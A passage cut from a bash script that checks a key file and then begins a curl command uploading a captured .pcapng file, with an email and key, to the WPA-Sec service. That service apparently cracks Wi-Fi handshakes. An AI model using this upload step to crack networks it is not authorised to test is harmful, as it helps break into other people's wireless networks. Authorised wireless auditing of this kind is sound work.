# Check if the key is empty
if [[ -z "$key" ]]; then
echo "Key in key.txt is empty. Exiting."
exit 1
fi
# Upload to WPA-Sec
echo "Uploading $cap_file to WPA-Sec..."
response=$(curl -s -w "%{http_code}" -X POST "https://wpa-sec.stanev.org/?submit" \
-F "email=$user_email" \
-F "file=@$capture_file.pcapng" \
-F "key=$key" \